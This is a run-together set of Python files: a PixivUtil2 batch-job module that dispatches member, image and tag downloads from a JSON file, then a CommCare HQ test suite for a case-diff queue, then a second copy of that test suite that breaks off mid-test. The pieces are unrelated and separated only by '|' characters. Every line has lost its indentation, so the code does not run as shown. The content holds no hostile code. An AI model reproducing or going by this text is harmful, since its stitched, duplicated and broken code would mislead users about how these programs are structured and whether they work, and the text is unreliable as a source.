import os
import demjson
import PixivArtistHandler
import PixivHelper
import PixivImageHandler
import PixivTagsHandler
import PixivUtil2
_default_batch_filename = "./batch_job.json"
class JobOption(object):
filenameFormat = ""
filenameMangaFormat = ""
filenameInfoFormat = ""
filenameMangaInfoFormat = ""
avatarNameFormat = ""
rootDirectory = ""
useTagsAsDir = False
r18mode = False
def __init__(self, job, _config):
if _config is None:
raise Exception("Cannot get default configuration, aborting...")
# set default option from config
self.filenameFormat = _config.filenameFormat
self.filenameMangaFormat = _config.filenameMangaFormat
self.filenameInfoFormat = _config.filenameInfoFormat
self.filenameMangaInfoFormat = _config.filenameMangaInfoFormat
self.avatarNameFormat = _config.avatarNameFormat
self.rootDirectory = _config.rootDirectory
self.useTagsAsDir = _config.useTagsAsDir
self.r18mode = _config.r18mode
if "option" in job and job["option"] is not None:
# need to check if the job option exists for each option
option_data = job["option"]
if "filenameFormat" in option_data:
self.filenameFormat = option_data["filenameFormat"]
if "filenameMangaFormat" in option_data:
self.filenameMangaFormat = option_data["filenameMangaFormat"]
if "filenameInfoFormat" in option_data:
self.filenameInfoFormat = option_data["filenameInfoFormat"]
if "filenameMangaInfoFormat" in option_data:
self.filenameMangaInfoFormat = option_data["filenameMangaInfoFormat"]
if "avatarNameFormat" in option_data:
self.avatarNameFormat = option_data["avatarNameFormat"]
if "rootDirectory" in option_data:
self.rootDirectory = option_data["rootDirectory"]
if "useTagsAsDir" in option_data:
self.useTagsAsDir = option_data["useTagsAsDir"]
if "r18mode" in option_data:
self.r18mode = option_data["r18mode"]
def handle_members(caller, job, job_name, job_option):
member_ids = list()
if "member_ids" in job:
print("Multi Member IDs")
member_ids = job["member_ids"]
elif "member_id" in job:
member_id = job["member_id"]
member_ids.append(member_id)
else:
print(f"No member_id or member_ids found in {job_name}!")
return
start_page = 1
if "start_page" in job:
start_page = int(job["start_page"])
end_page = 0
if "end_page" in job:
end_page = int(job["end_page"])
from_bookmark = False
if "from_bookmark" in job:
from_bookmark = bool(job["from_bookmark"])
tags = None
if "tags" in job and len(job["tags"]) > 0:
tags = job["tags"]
for member_id in member_ids:
PixivArtistHandler.process_member(caller,
member_id=member_id,
user_dir=job_option.rootDirectory,
page=start_page,
end_page=end_page,
bookmark=from_bookmark,
tags=tags,
title_prefix=job_name,
job_option=job_option)
def handle_images(caller: PixivUtil2, job, job_name, job_option):
image_ids = list()
if "image_ids" in job:
image_ids = job["image_ids"]
print(f"Found multiple images: {len(image_ids)}")
elif "image_id" in job:
image_id = job["image_id"]
image_ids.append(image_id)
else:
print(f"No image_id or image_ids found in {job_name}!")
return
for image_id in image_ids:
PixivImageHandler.process_image(caller,
image_id=image_id,
user_dir=job_option.rootDirectory,
title_prefix=job_name,
job_option=job_option)
print("done.")
def handle_tags(caller, job, job_name, job_option):
if "tags" in job and len(job["tags"]) > 0:
tags = job["tags"]
else:
print(f"No tags found or empty tags in {job_name}!")
start_page = 1
if "start_page" in job:
start_page = int(job["start_page"])
end_page = 0
if "end_page" in job:
end_page = int(job["end_page"])
wild_card = True
if "wild_card" in job:
wild_card = bool(job["wild_card"])
title_caption = False
if "title_caption" in job:
title_caption = bool(job["title_caption"])
start_date = None
if "start_date" in job and len(job["start_date"]) == 10:
try:
start_date = PixivHelper.check_date_time(job["start_date"])
except BaseException:
raise Exception(f"Invalid start_date: {job['start_date']} in {job_name}.")
end_date = None
if "end_date" in job and len(job["end_date"]) == 10:
try:
end_date = PixivHelper.check_date_time(job["end_date"])
except BaseException:
raise Exception(f"Invalid end_date: {job['end_date']} in {job_name}.")
member_id = None
if "member_id" in job:
member_id = bool(job["member_id"])
bookmark_count = None
if "bookmark_count" in job:
bookmark_count = int(job["bookmark_count"])
oldest_first = False
if "oldest_first" in job:
oldest_first = bool(job["oldest_first"])
type_mode = "a"
if "type_mode" in job:
if job["type_mode"] in {'a', 'i', 'm'}:
type_mode = job["type_mode"]
else:
raise Exception(f"Invalid type_mode: {job['type_mode']} in {job_name}.")
PixivTagsHandler.process_tags(caller,
tags,
page=start_page,
end_page=end_page,
wild_card=wild_card,
title_caption=title_caption,
start_date=start_date,
end_date=end_date,
use_tags_as_dir=job_option.useTagsAsDir,
member_id=member_id,
bookmark_count=bookmark_count,
oldest_first=oldest_first,
type_mode=type_mode,
job_option=job_option)
def process_batch_job(caller: PixivUtil2):
caller.set_console_title("Batch Menu")
if os.path.exists(_default_batch_filename):
jobs_file = open(_default_batch_filename, encoding="utf-8")
jobs = demjson.decode(jobs_file.read())
for job_name in jobs["jobs"]:
print(f"Processing {job_name}")
curr_job = jobs["jobs"][job_name]
if "enabled" not in curr_job or not bool(curr_job["enabled"]):
print(f"Skipping {job_name} because not enabled.")
continue
if "job_type" not in curr_job:
print(f"Cannot find job_type in {job_name}")
continue
job_option = JobOption(curr_job, caller.__config__)
if curr_job["job_type"] == '1':
handle_members(caller, curr_job, job_name, job_option)
elif curr_job["job_type"] == '2':
handle_images(caller, curr_job, job_name, job_option)
elif curr_job["job_type"] == '3':
handle_tags(caller, curr_job, job_name, job_option)
else:
print(f"Unsupported job_type {curr_job['job_type']} in {job_name}")
else:
print(f"Cannot found {_default_batch_filename} in the application folder, see https://github.com/Nandaka/PixivUtil2/wiki/Using-Batch-Job-(Experimental) for example. ")
# restore original method
# PixivHelper.print_and_log = temp_printer
def notifier(level, msg, exception=None, newline=True, end=None):
if level is None:
level = ""
if level == "debug":
return
msg = msg.replace("\n", "")
msg = "{0:5} - {1}".format(level, msg)
msg = msg.ljust(150)
print(msg, end='\r')
if __name__ == '__main__':
import PixivUtil2
process_batch_job(PixivUtil2)
|
import logging
import os
from collections import defaultdict
from contextlib import contextmanager
from copy import deepcopy
from glob import glob
from inspect import signature
from signal import SIGINT
from django.test import SimpleTestCase
import attr
import gevent
from gevent.event import Event
from gevent.queue import Queue
from mock import patch
from testil import Config, tempdir
from corehq.apps.tzmigration.timezonemigration import FormJsonDiff
from corehq.form_processor.parsers.ledgers.helpers import UniqueLedgerReference
from .. import casediff as mod
from ..statedb import StateDB, init_state_db
log = logging.getLogger(__name__)
@patch.object(mod.CaseDiffQueue, "BATCH_SIZE", 2)
@patch.object(mod.BatchProcessor, "MAX_RETRIES", 0)
@patch.object(gevent.get_hub(), "SYSTEM_ERROR", BaseException)
class TestCaseDiffQueue(SimpleTestCase):
def setUp(self):
super(TestCaseDiffQueue, self).setUp()
self.patches = [
patch.object(mod, "diff_cases", self.diff_cases),
patch(
"corehq.form_processor.backends.couch.dbaccessors.CaseAccessorCouch.get_cases",
self.get_cases,
),
patch.object(mod, "get_stock_forms_by_case_id", self.get_stock_forms),
]
for patcher in self.patches:
patcher.start()
self.statedb = StateDB.init(":memory:") # in-memory db for test speed
self.cases = {}
self.processed_forms = defaultdict(set)
self.stock_forms = defaultdict(set)
self.diffed = defaultdict(int)
def tearDown(self):
for patcher in self.patches:
patcher.stop()
self.statedb.close()
super(TestCaseDiffQueue, self).tearDown()
def test_case_diff(self):
self.add_cases("c", "fx")
with self.queue() as queue:
queue.update({"c"}, "fx")
self.assertDiffed("c")
def test_diff_case_without_forms(self):
self.add_cases("cx")
with self.queue() as queue:
queue.update({"cx"}, "fx")
self.assertDiffed("cx")
def test_case_with_unprocessed_form(self):
self.add_cases("c", "f0 f1")
with self.queue() as queue:
queue.update({"c"}, "f0")
self.assertDiffed("c")
def test_case_with_null_form_update(self):
self.add_cases("cx", "fx")
with self.queue() as queue:
queue.update({"cx"}, None)
self.assertDiffed("cx")
def test_diff_batching(self):
self.add_cases("a b c d e", "fx")
batch_size = mod.CaseDiffQueue.BATCH_SIZE
assert batch_size < 3, batch_size
with self.queue() as queue:
queue.update({"a", "b", "c", "d", "e"}, "fx")
self.assertLess(len(queue.pending_cases), batch_size)
self.assertLess(len(queue.cases_to_diff), batch_size)
self.assertDiffed("a b c d e")
def test_get_cases_failure(self):
self.add_cases("a b c", "f1")
self.add_cases("d", "f2")
# simulate a single call to couch failing
with self.queue() as queue, self.get_cases_failure():
queue.update({"a", "b", "c"}, "f1")
queue.flush()
with self.queue() as queue:
queue.update({"d"}, "f2")
self.assertDiffed("a b c d")
def test_resume_after_couch_down(self):
self.add_cases("a b c", "f1")
self.add_cases("d", "f2")
# simulate couch down all the way through queue __exit__
with self.get_cases_failure(), self.queue() as queue:
queue.update({"a", "b", "c"}, "f1")
with self.queue() as queue:
queue.update({"d"}, "f2")
self.assertDiffed("a b c d")
def test_num_diffed_cases_on_resume(self):
self.add_cases("a b c", "f1")
self.add_cases("d", "f2")
# simulate a single call to couch failing
with self.queue() as queue:
queue.update({"a", "b", "c"}, "f1")
self.assertEqual(queue.num_diffed_cases, 3)
with self.queue() as queue:
queue.update({"d"}, "f2")
self.assertEqual(queue.num_diffed_cases, 4)
def test_diff_cases_failure(self):
self.add_cases("a", "f1")
self.add_cases("b", "f2")
with self.queue() as queue, self.diff_cases_failure():
queue.update({"a"}, "f1")
queue.flush()
with self.queue() as queue:
queue.update({"b"}, "f2")
self.assertDiffed("a b")
def test_stop_with_cases_to_diff(self):
self.add_cases("a", "f1")
with self.assertRaises(Error), self.queue() as queue:
# HACK mutate queue internal state
# currently there is no easier way to stop non-empty cases_to_diff
queue.cases_to_diff["a"] = 1
raise Error("do not process_remaining_diffs")
self.assertTrue(queue.cases_to_diff)
with self.queue() as queue:
pass
self.assertDiffed("a")
def test_resume_after_error_in_process_remaining_diffs(self):
self.add_cases("a", "f1")
self.add_cases("b", "f2")
with self.assertRaises(Error), self.queue() as queue:
mock = patch.object(queue, "process_remaining_diffs").start()
mock.side_effect = Error("cannot process remaining diffs")
queue.update({"a"}, "f1")
queue.pool.kill() # simulate end process
with self.queue() as queue:
queue.update({"b"}, "f2")
self.assertDiffed("a b")
def test_defer_diff_until_all_forms_are_processed(self):
self.add_cases("a b", "f0")
self.add_cases("c d", "f1")
self.add_cases("b d e", "f2")
with self.queue() as queue:
queue.update({"a", "b"}, "f0")
queue.update({"c", "d"}, "f1")
queue.flush(complete=False)
self.assertDiffed("a c")
queue.update({"b", "d", "e"}, "f2")
self.assertDiffed("a b c d e")
def test_unexpected_case_update_scenario_1(self):
self.add_cases("a b", "f0")
with self.queue() as queue:
queue.update({"a", "b"}, "f0")
queue.flush(complete=False)
self.assertDiffed("a b")
queue.update({"a"}, "f1") # unexpected update
self.assertDiffed({"a": 2, "b": 1})
def test_unexpected_case_update_scenario_2(self):
self.add_cases("a", "f0")
self.add_cases("b", "f1")
with self.queue() as queue:
queue.update({"a", "b"}, "f0") # unexpected update first time b is seen
queue.flush(complete=False)
self.assertDiffed("a b")
queue.update({"b"}, "f1")
self.assertDiffed({"a": 1, "b": 2})
def test_missing_couch_case(self):
self.add_cases("found", "form")
with self.queue() as queue:
queue.update({"miss", "found"}, "form")
self.assertDiffed("found")
missing = queue.statedb.get_missing_doc_ids("CommCareCase-couch")
self.assertEqual(missing, {"miss"})
def test_case_action_with_null_xform_id(self):
self.add_cases("a", actions=[FakeAction(None), FakeAction("f0")])
self.add_cases("b c", "f1")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c"], "f1")
queue.flush(complete=False)
self.assertDiffed("a b c")
def test_case_with_stock_forms(self):
self.add_cases("a", "f0", stock_forms="f1")
self.add_cases("b c", "f2")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c"], "f2")
queue.flush(complete=False)
self.assertDiffed("b c")
queue.update({"a"}, "f1")
queue.flush(complete=False)
self.assertDiffed("a b c")
def test_case_with_many_forms(self):
self.add_cases("a", ["f%s" % n for n in range(25)])
self.add_cases("b c d", "f2")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c", "d"], "f2")
queue.flush(complete=False)
self.assertDiffed("b c d")
self.assertNotIn("a", queue.cases)
for n in range(1, 25):
queue.update({"a"}, "f%s" % n)
queue.flush(complete=False)
self.assertDiffed("a b c d")
def test_resume_on_case_with_many_forms(self):
self.add_cases("a", ["f%s" % n for n in range(25)])
self.add_cases("b c d", "f2")
with self.assertRaises(Error), self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c", "d"], "f2")
queue.flush(complete=False)
mock = patch.object(queue, "process_remaining_diffs").start()
mock.side_effect = Error("cannot process remaining diffs")
self.assertDiffed("b c d")
queue.pool.kill() # simulate end process
with self.queue() as queue:
queue.flush(complete=False)
self.assertNotIn("a", queue.cases)
for n in range(1, 25):
queue.update({"a"}, "f%s" % n)
queue.flush(complete=False)
self.assertDiffed("a b c d")
def test_cases_cache_max_size(self):
self.add_cases("a b c d e f", ["f0", "f1"])
patch_max_cases = patch.object(mod.CaseDiffQueue, "MAX_MEMORIZED_CASES", 4)
with patch_max_cases, self.queue() as queue:
queue.update({"a", "b", "c", "d", "e", "f"}, "f0")
queue.flush(complete=False)
self.assertEqual(len(queue.cases), 4, queue.cases)
self.assertDiffed([])
queue.update({"a", "b", "c", "d", "e", "f"}, "f1")
self.assertDiffed("a b c d e f")
def test_cases_lru_cache(self):
# forms fa-ff update corresponding cases
for case_id in "abcdef":
self.add_cases(case_id, "f%s" % case_id)
# forms f1-f5 update case a
for i in range(1, 6):
self.add_cases("a", "f%s" % i)
self.add_cases("a b c d e f", "fx")
patch_max_cases = patch.object(mod.CaseDiffQueue, "MAX_MEMORIZED_CASES", 4)
with patch_max_cases, self.queue() as queue:
for i, case_id in enumerate("abcdef"):
queue.update(case_id, "f%s" % case_id)
if i > 0:
# keep "a" fresh in the LRU cache
queue.update("a", "f%s" % i)
queue.flush(complete=False)
self.assertIn("a", queue.cases)
self.assertNotIn("b", queue.cases)
self.assertNotIn("c", queue.cases)
self.assertDiffed([])
queue.update({"a", "b", "c", "d", "e", "f"}, "fx")
self.assertDiffed("a b c d e f")
def test_case_with_many_unprocessed_forms(self):
self.add_cases("a", ["f%s" % n for n in range(25)])
self.add_cases("b c d", "f2")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c", "d"], "f2")
self.assertDiffed("a b c d")
def test_case_with_new_forms_since_first_seen(self):
self.add_cases("a b", "f0")
self.add_cases("a b c d", "f1")
self.add_cases("e f g h", "f2")
with self.queue() as queue:
queue.update({"a", "b"}, "f0")
queue.flush(complete=False)
self.assertDiffed([])
self.add_cases("b", "fx")
queue.update(["a", "b", "c", "d"], "f1")
flush(queue.pool)
flush(queue.diff_pool)
self.assertDiffed("a c d")
queue.update(["b"], "fx")
queue.update(["e", "f", "g", "h"], "f2")
flush(queue.pool)
flush(queue.diff_pool)
self.assertDiffed("a b c d e")
self.assertDiffed("a b c d e f g h")
def test_status_logger(self):
event = Event()
with patch.object(mod, "log_status") as log_status:
log_status.side_effect = lambda x: event.set()
with mod.CaseDiffQueue(self.statedb, status_interval=0.00001):
self.assertTrue(event.wait(timeout=5), "queue.log_status() not called")
self.assertGreater(log_status.call_count, 0)
@contextmanager
def queue(self):
log.info("init CaseDiffQueue")
with mod.CaseDiffQueue(self.statedb) as queue:
try:
yield queue
except Exception as err:
log.error("%s: %s", type(err).__name__, err)
raise
def add_cases(self, case_ids, xform_ids=(), actions=(), stock_forms=()):
"""Add cases with updating form ids
`case_ids` and `form_ids` can be either a string (space-
delimited ids) or a sequence of strings (ids).
"""
if isinstance(case_ids, str):
case_ids = case_ids.split()
if isinstance(xform_ids, str):
xform_ids = xform_ids.split()
if isinstance(stock_forms, str):
stock_forms = stock_forms.split()
for case_id in case_ids:
if case_id in self.cases:
case = self.cases[case_id]
else:
case = self.cases[case_id] = FakeCase(case_id)
for fid in xform_ids:
assert fid not in case.xform_ids, (fid, case)
case.xform_ids.append(fid)
case.actions.extend(actions)
self.stock_forms[case_id].update(stock_forms)
def get_cases(self, case_ids):
def get(case_id):
try:
case = self.cases[case_id]
log.info("get %s", case)
except KeyError:
case = None
except Exception as err:
log.info("get %s -> %s", case_id, err)
raise
return case
cases = (get(case_id) for case_id in case_ids)
return [c for c in cases if c is not None]
def get_stock_forms(self, case_ids):
return dict(self.stock_forms)
def diff_cases(self, cases, statedb):
log.info("diff cases %s", list(cases))
for case in cases.values():
case_id = case["_id"]
self.diffed[case_id] += 1
def assertDiffed(self, spec):
if not isinstance(spec, dict):
if isinstance(spec, str):
spec = spec.split()
spec = {c: 1 for c in spec}
self.assertEqual(dict(self.diffed), spec)
@contextmanager
def get_cases_failure(self):
"""Raise error on CaseAccessorCouch.get_cases(...)
Assumes `CaseAccessorCouch.get_cases` has been patched with
`self.get_cases`.
"""
with self.expected_error(), patch.object(self, "cases") as couch:
couch.__getitem__.side_effect = Error("COUCH IS DOWN!")
yield
@contextmanager
def diff_cases_failure(self):
"""Raise error on self.diff_cases(...)"""
with self.expected_error(), patch.object(self, "diffed") as diffed:
diffed.__setitem__.side_effect = Error("FAILED TO DIFF!")
yield
@contextmanager
def expected_error(self):
with silence_expected_errors(), self.assertRaises(Error):
yield
@patch.object(gevent.get_hub(), "SYSTEM_ERROR", BaseException)
class TestCaseDiffProcess(SimpleTestCase):
@classmethod
def setUpClass(cls):
super(TestCaseDiffProcess, cls).setUpClass()
cls.tmp = tempdir()
cls.state_dir = cls.tmp.__enter__()
@classmethod
def tearDownClass(cls):
cls.tmp.__exit__(None, None, None)
super(TestCaseDiffProcess, cls).tearDownClass()
def tearDown(self):
db_paths = glob(os.path.join(self.state_dir, "db", "*"))
for path in db_paths + self.get_log_files():
assert os.path.isabs(path), path
os.remove(path)
super(TestCaseDiffProcess, self).tearDown()
def test_process(self):
with self.process() as proc:
self.assertEqual(proc.get_status(), [0, 0, 0])
proc.update({"case1", "case2"}, "form")
proc.enqueue("case")
self.assertEqual(proc.get_status(), [2, 1, 0])
def test_process_statedb(self):
with self.process() as proc1:
self.assertEqual(proc1.get_status(), [0, 0, 0])
proc1.enqueue("case")
self.assertEqual(proc1.get_status(), [0, 1, 0])
with self.process() as proc2:
self.assertEqual(proc2.get_status(), [0, 1, 0])
proc2.enqueue("case")
self.assertEqual(proc2.get_status(), [0, 2, 0])
def test_process_not_allowed(self):
with init_state_db("test", self.state_dir) as statedb:
with mod.CaseDiffQueue(statedb):
pass
with init_state_db("test", self.state_dir) as statedb:
with self.assertRaises(mod.ProcessNotAllowed):
mod.CaseDiffProcess(statedb)
def test_clean_break(self):
with self.process() as proc:
self.assertEqual(proc.get_status(), [0, 0, 0])
os.kill(proc.process.pid, SIGINT)
self.assertEqual(proc.get_status(), [0, 0, 1])
def test_fake_case_diff_queue_interface(self):
tested = set()
for name in dir(FakeCaseDiffQueue):
if name.startswith("_"):
continue
tested.add(name)
fake = getattr(FakeCaseDiffQueue, name)
real = getattr(mod.CaseDiffQueue, name)
self.assertEqual(signature(fake), signature(real))
self.assertEqual(tested, {"update", "enqueue", "get_status"})
@contextmanager
def process(self):
def log_status(status):
log.info("status: %s", status)
cached = status.pop("cached")
assert cached == "0/0", cached
keys = ["pending", "loaded", "diffed"]
assert set(keys) == set(status), status
status_queue.put([status[k] for k in keys])
def get_status():
proc.request_status()
return status_queue.get(timeout=5)
status_queue = Queue()
try:
with init_state_db("test", self.state_dir) as statedb, \
patch.object(mod, "log_status", log_status), \
mod.CaseDiffProcess(statedb, FakeCaseDiffQueue) as proc:
status_queue.get(timeout=5)
assert not hasattr(proc, "get_status"), proc
proc.get_status = get_status
yield proc
finally:
print(f"{" diff process logs ":-^40}")
for log_file in self.get_log_files():
print("#", log_file)
with open(log_file, encoding="utf-8") as fh:
print(fh.read())
print(f"{" end diff process logs ":-^40}")
def get_log_files(self):
return glob(os.path.join(self.state_dir, "*-casediff.log"))
class FakeCaseDiffQueue(object):
def __init__(self, statedb, status_interval=None):
self.statedb = statedb
self.stats = {"pending": 0, "cached": "0/0", "loaded": 0, "diffed": 0}
self.clean_break = False
def __enter__(self):
with self.statedb.pop_resume_state(type(self).__name__, {}) as state:
if "stats" in state:
self.stats = state["stats"]
return self
def __exit__(self, *exc_info):
self.statedb.set_resume_state(type(self).__name__, {"stats": self.stats})
def update(self, case_ids, form_id):
self.stats["pending"] += len(case_ids)
def enqueue(self, case_id, num_forms=None):
self.stats["loaded"] += 1
def get_status(self):
if self.clean_break:
self.stats["diffed"] = 1
return self.stats
@patch.object(gevent.get_hub(), "SYSTEM_ERROR", BaseException)
class TestBatchProcessor(SimpleTestCase):
def setUp(self):
super(TestBatchProcessor, self).setUp()
self.proc = mod.BatchProcessor(mod.Pool())
def test_retry_batch(self):
def do(thing):
tries.append(1)
if len(tries) < 2:
raise Error("cannot do thing the first time")
done.append(thing)
tries = []
done = []
self.proc.spawn(do, "thing")
flush(self.proc.pool)
self.assertEqual(len(tries), 2)
self.assertEqual(done, ["thing"])
def test_batch_max_retries(self):
def do(thing):
tries.append(1)
raise Error("cannot do thing... ever")
tries = []
self.proc.spawn(do, "thing")
with silence_expected_errors(), self.assertRaises(Error):
flush(self.proc.pool)
self.assertEqual(len(tries), 3)
class TestDiffCases(SimpleTestCase):
def setUp(self):
super(TestDiffCases, self).setUp()
self.patches = [
patch(
"corehq.form_processor.backends.sql.dbaccessors.CaseAccessorSQL.get_cases",
self.get_sql_cases,
),
patch(
"corehq.form_processor.backends.sql.dbaccessors"
".LedgerAccessorSQL.get_ledger_values_for_cases",
self.get_sql_ledgers,
),
patch(
"corehq.apps.commtrack.models.StockState.objects.filter",
self.get_stock_states,
),
patch(
"corehq.form_processor.backends.couch.processor"
".FormProcessorCouch.hard_rebuild_case",
self.hard_rebuild_case,
),
]
for patcher in self.patches:
patcher.start()
self.statedb = StateDB.init(":memory:")
self.sql_cases = {}
self.sql_ledgers = {}
self.couch_cases = {}
self.couch_ledgers = {}
def tearDown(self):
for patcher in self.patches:
patcher.stop()
self.statedb.close()
super(TestDiffCases, self).tearDown()
def test_clean(self):
self.add_case("a")
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs()
def test_diff(self):
couch_json = self.add_case("a", prop=1)
couch_json["prop"] = 2
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs([Diff("a", path=["prop"], old=2, new=1)])
def test_replace_diff(self):
self.add_case("a", prop=1)
different_cases = deepcopy(self.couch_cases)
different_cases["a"]["prop"] = 2
mod.diff_cases(different_cases, self.statedb)
self.assert_diffs([Diff("a", path=["prop"], old=2, new=1)])
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs()
def test_replace_ledger_diff(self):
self.add_case("a")
stock = self.add_ledger("a", x=1)
stock.values["x"] = 2
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs([Diff("a/stock/a", "stock state", path=["x"], old=2, new=1)])
stock.values["x"] = 1
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs()
def assert_diffs(self, expected=None):
actual = [
Diff(diff.doc_id, diff.kind, *diff.json_diff)
for diff in self.statedb.get_diffs()
]
self.assertEqual(actual, expected or [])
def add_case(self, case_id, **props):
assert case_id not in self.sql_cases, self.sql_cases[case_id]
assert case_id not in self.couch_cases, self.couch_cases[case_id]
props.setdefault("doc_type", "CommCareCase")
self.sql_cases[case_id] = Config(
case_id=case_id,
props=props,
to_json=lambda: dict(props, case_id=case_id),
is_deleted=False,
)
self.couch_cases[case_id] = couch_case = dict(props, case_id=case_id)
return couch_case
def add_ledger(self, case_id, **values):
ref = UniqueLedgerReference(case_id, "stock", case_id)
self.sql_ledgers[case_id] = Config(
ledger_reference=ref,
values=values,
to_json=lambda: dict(values, ledger_reference=ref.as_id()),
)
couch_values = dict(values)
stock = Config(
ledger_reference=ref,
values=couch_values,
to_json=lambda: dict(couch_values, ledger_reference=ref.as_id()),
)
self.couch_ledgers[case_id] = stock
return stock
def get_sql_cases(self, case_ids):
return [self.sql_cases[c] for c in case_ids]
def get_sql_ledgers(self, case_ids):
ledgers = self.sql_ledgers
return [ledgers[c] for c in case_ids if c in ledgers]
def get_stock_states(self, case_id__in):
ledgers = self.couch_ledgers
return [ledgers[c] for c in case_id__in if c in ledgers]
def hard_rebuild_case(self, domain, case_id, *args, **kw):
return Config(to_json=lambda: self.couch_cases[case_id])
@attr.s
class Diff(object):
doc_id = attr.ib()
kind = attr.ib(default="CommCareCase")
type = attr.ib(default="diff")
path = attr.ib(factory=list)
old = attr.ib(default=None)
new = attr.ib(default=None)
@attr.s
class FakeCase(object):
_id = attr.ib()
xform_ids = attr.ib(factory=list)
actions = attr.ib(factory=list)
@property
def case_id(self):
return self._id
def to_json(self):
data = {n: getattr(self, n) for n in ["_id", "xform_ids"]}
data["actions"] = [a.to_json() for a in self.actions]
return data
@attr.s
class FakeAction(object):
xform_id = attr.ib()
def to_json(self):
return {"xform_id": self.xform_id}
DIFFS = [FormJsonDiff("diff", ["prop"], "old", "new")]
class Error(Exception):
pass
@contextmanager
def silence_expected_errors():
"""Prevent print expected error to stderr
not sure why it is not captured by nose
"""
def print_unexpected(context, type, value, tb):
if type == Error:
log.error(context, exc_info=(type, value, tb))
else:
print_exception(context, type, value, tb)
hub = gevent.get_hub()
print_exception = hub.print_exception
with patch.object(hub, "print_exception", print_unexpected):
yield
def flush(pool):
while not pool.join(timeout=1):
log.info('waiting on {} case diff workers'.format(len(pool)))
| import logging
import os
from collections import defaultdict
from contextlib import contextmanager
from copy import deepcopy
from glob import glob
from inspect import signature
from signal import SIGINT
from django.test import SimpleTestCase
import attr
import gevent
from gevent.event import Event
from gevent.queue import Queue
from mock import patch
from testil import Config, tempdir
from corehq.apps.tzmigration.timezonemigration import FormJsonDiff
from corehq.form_processor.parsers.ledgers.helpers import UniqueLedgerReference
from .. import casediff as mod
from ..statedb import StateDB, init_state_db
log = logging.getLogger(__name__)
@patch.object(mod.CaseDiffQueue, "BATCH_SIZE", 2)
@patch.object(mod.BatchProcessor, "MAX_RETRIES", 0)
@patch.object(gevent.get_hub(), "SYSTEM_ERROR", BaseException)
class TestCaseDiffQueue(SimpleTestCase):
def setUp(self):
super(TestCaseDiffQueue, self).setUp()
self.patches = [
patch.object(mod, "diff_cases", self.diff_cases),
patch(
"corehq.form_processor.backends.couch.dbaccessors.CaseAccessorCouch.get_cases",
self.get_cases,
),
patch.object(mod, "get_stock_forms_by_case_id", self.get_stock_forms),
]
for patcher in self.patches:
patcher.start()
self.statedb = StateDB.init(":memory:") # in-memory db for test speed
self.cases = {}
self.processed_forms = defaultdict(set)
self.stock_forms = defaultdict(set)
self.diffed = defaultdict(int)
def tearDown(self):
for patcher in self.patches:
patcher.stop()
self.statedb.close()
super(TestCaseDiffQueue, self).tearDown()
def test_case_diff(self):
self.add_cases("c", "fx")
with self.queue() as queue:
queue.update({"c"}, "fx")
self.assertDiffed("c")
def test_diff_case_without_forms(self):
self.add_cases("cx")
with self.queue() as queue:
queue.update({"cx"}, "fx")
self.assertDiffed("cx")
def test_case_with_unprocessed_form(self):
self.add_cases("c", "f0 f1")
with self.queue() as queue:
queue.update({"c"}, "f0")
self.assertDiffed("c")
def test_case_with_null_form_update(self):
self.add_cases("cx", "fx")
with self.queue() as queue:
queue.update({"cx"}, None)
self.assertDiffed("cx")
def test_diff_batching(self):
self.add_cases("a b c d e", "fx")
batch_size = mod.CaseDiffQueue.BATCH_SIZE
assert batch_size < 3, batch_size
with self.queue() as queue:
queue.update({"a", "b", "c", "d", "e"}, "fx")
self.assertLess(len(queue.pending_cases), batch_size)
self.assertLess(len(queue.cases_to_diff), batch_size)
self.assertDiffed("a b c d e")
def test_get_cases_failure(self):
self.add_cases("a b c", "f1")
self.add_cases("d", "f2")
# simulate a single call to couch failing
with self.queue() as queue, self.get_cases_failure():
queue.update({"a", "b", "c"}, "f1")
queue.flush()
with self.queue() as queue:
queue.update({"d"}, "f2")
self.assertDiffed("a b c d")
def test_resume_after_couch_down(self):
self.add_cases("a b c", "f1")
self.add_cases("d", "f2")
# simulate couch down all the way through queue __exit__
with self.get_cases_failure(), self.queue() as queue:
queue.update({"a", "b", "c"}, "f1")
with self.queue() as queue:
queue.update({"d"}, "f2")
self.assertDiffed("a b c d")
def test_num_diffed_cases_on_resume(self):
self.add_cases("a b c", "f1")
self.add_cases("d", "f2")
# simulate a single call to couch failing
with self.queue() as queue:
queue.update({"a", "b", "c"}, "f1")
self.assertEqual(queue.num_diffed_cases, 3)
with self.queue() as queue:
queue.update({"d"}, "f2")
self.assertEqual(queue.num_diffed_cases, 4)
def test_diff_cases_failure(self):
self.add_cases("a", "f1")
self.add_cases("b", "f2")
with self.queue() as queue, self.diff_cases_failure():
queue.update({"a"}, "f1")
queue.flush()
with self.queue() as queue:
queue.update({"b"}, "f2")
self.assertDiffed("a b")
def test_stop_with_cases_to_diff(self):
self.add_cases("a", "f1")
with self.assertRaises(Error), self.queue() as queue:
# HACK mutate queue internal state
# currently there is no easier way to stop non-empty cases_to_diff
queue.cases_to_diff["a"] = 1
raise Error("do not process_remaining_diffs")
self.assertTrue(queue.cases_to_diff)
with self.queue() as queue:
pass
self.assertDiffed("a")
def test_resume_after_error_in_process_remaining_diffs(self):
self.add_cases("a", "f1")
self.add_cases("b", "f2")
with self.assertRaises(Error), self.queue() as queue:
mock = patch.object(queue, "process_remaining_diffs").start()
mock.side_effect = Error("cannot process remaining diffs")
queue.update({"a"}, "f1")
queue.pool.kill() # simulate end process
with self.queue() as queue:
queue.update({"b"}, "f2")
self.assertDiffed("a b")
def test_defer_diff_until_all_forms_are_processed(self):
self.add_cases("a b", "f0")
self.add_cases("c d", "f1")
self.add_cases("b d e", "f2")
with self.queue() as queue:
queue.update({"a", "b"}, "f0")
queue.update({"c", "d"}, "f1")
queue.flush(complete=False)
self.assertDiffed("a c")
queue.update({"b", "d", "e"}, "f2")
self.assertDiffed("a b c d e")
def test_unexpected_case_update_scenario_1(self):
self.add_cases("a b", "f0")
with self.queue() as queue:
queue.update({"a", "b"}, "f0")
queue.flush(complete=False)
self.assertDiffed("a b")
queue.update({"a"}, "f1") # unexpected update
